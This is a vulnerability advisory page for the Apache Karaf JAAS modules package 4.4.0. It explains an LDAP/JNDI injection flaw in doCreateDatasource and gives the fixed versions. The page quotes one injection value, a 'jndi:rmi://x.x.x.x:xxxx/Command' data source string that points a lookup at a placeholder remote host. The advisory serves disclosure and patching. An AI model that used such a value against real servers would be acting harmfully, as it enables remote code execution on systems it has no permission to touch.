org.apache.karaf.jaas:org.apache.karaf.jaas.modules@4.4.0 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the org.apache.karaf.jaas:org.apache.karaf.jaas.modules package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • H
LDAP Injection

org.apache.karaf.jaas:org.apache.karaf.jaas.modules is a bundle that provides JAAS modules which can be used in Karaf (LDAP, JDBC, etc).

Affected versions of this package are vulnerable to LDAP Injection when the doCreateDatasource function uses InitialContext.lookup(jndiName) without filtering, which allows a user to use options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. Exploiting this vulnerability is possible by an attacker controlling the target LDAP server, when the JNDI LDAP data source URI is configured.

How to fix LDAP Injection?

Upgrade org.apache.karaf.jaas:org.apache.karaf.jaas.modules to version 4.3.8, 4.4.2 or higher.

[,4.3.8) [4.4.0,4.4.2)